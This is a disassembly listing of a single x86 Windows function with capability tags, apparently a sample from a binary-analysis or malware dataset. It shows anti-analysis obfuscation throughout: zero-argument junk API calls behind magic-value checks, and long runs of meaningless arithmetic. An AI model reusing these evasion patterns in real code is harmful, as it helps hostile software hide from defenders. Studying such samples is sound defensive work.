Function at 0x100034e0
Capabilities:
Copy file
Enumerate system firmware tables
Get disk information
Get disk size
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp dword [0x10089aa0], 0x7c4d2b65
jne 0x100035cc
push 0
push 0x100f4d74
push str.kbxuxdvv
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWorldTransform]
push 0
call dword [sym.imp.KERNEL32.dll_StartThreadpoolIo]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0
call dword [sym.imp.GDI32.dll_GetStretchBltMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
push 0
call dword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitCommEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetupComm]
push 0
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push 0
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBoundsRect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0x100f4d88
mov ecx, 0x100eb244
call fcn.1001a030
mov ecx, eax
call fcn.100032e0
cmp dword [0x100ea648], 0
je 0x1000394c
cmp dword [0x100ea64c], 0
je 0x1000394c
push 0x174
push 0x1000c980
lea eax, [ebp - 0x2c]
push eax
call fcn.1001a050
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.1001a070
add esp, 8
mov dword [ebp - 8], 0x2458
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add eax, 0x844
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0x9bf
mov dword [ebp - 0x14], 0xd52
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x18]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, 0x2ca
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x8b6
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x18]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 0x36f
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 0xd94
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
sub eax, 0x1307
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x1785
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x5fa
mov dword [ebp - 0x10], eax
mov ecx, 4
imul edx, ecx, 0x1a9
mov eax, dword [0x100ea648]
mov dword [eax + edx], 0x248e2
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
add edx, 0xaca
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
and eax, 0x80000001
jns 0x10003729
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10003738
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
jmp 0x1000371a
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x22dd
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003782
mov edx, dword [ebp - 8]
sub edx, 0x1a5d
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], 0
jmp 0x1000379d
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0x5e
jge 0x100037ae
mov edx, dword [ebp - 4]
add edx, 7
mov dword [ebp - 4], edx
jmp 0x10003794
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
sub eax, 0x33
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
add edx, 0x26a9
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x217b
mov dword [ebp - 0x10], eax
mov ecx, 4
imul edx, ecx, 0x24e
mov eax, dword [0x100ea64c]
mov dword [eax + edx], 0x9e7df
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x57
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1c5d
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, 0x106
mov dword [ebp - 8], eax
mov ecx, 4
imul edx, ecx, 0x60
mov dword [edx + 0x100ea650], 0xee0
mov eax, dword [ebp - 0xc]
sub eax, 0x1533
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x22c1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1136
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
and edx, 0x80000001
jns 0x1000389b
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x100038b2
cmp dword [ebp - 0xc], 0
jle 0x100038b2
mov eax, dword [ebp - 0xc]
sub eax, 0x11f0
mov dword [ebp - 0xc], eax
jmp 0x100038be
mov ecx, dword [ebp - 0xc]
add ecx, 0x11f0
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x1f24
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x13bb
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0xb7b
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x201a
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
push 0x1c2
push 0x1000d840
lea edx, [ebp - 0x34]
push edx
call fcn.1001a050
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.1001a070
add esp, 8
mov al, 1
jmp 0x10003a97
mov eax, dword [0x10089aa0]
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x24], 0xd9c69633
jne 0x10003a95
cmp dword [ebp - 0x20], 0
jne 0x10003a95
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
push 0
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReclaimVirtualMemory]
push 0
call dword [sym.imp.GDI32.dll_GetDCBrushColor]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPreferredUILanguages]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
push 0
push 0
push 0x100f4d9c
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemFirmwareTables]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_FrameRgn]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Arc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ClosePrivateNamespace]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
xor al, al
mov esp, ebp
pop ebp
ret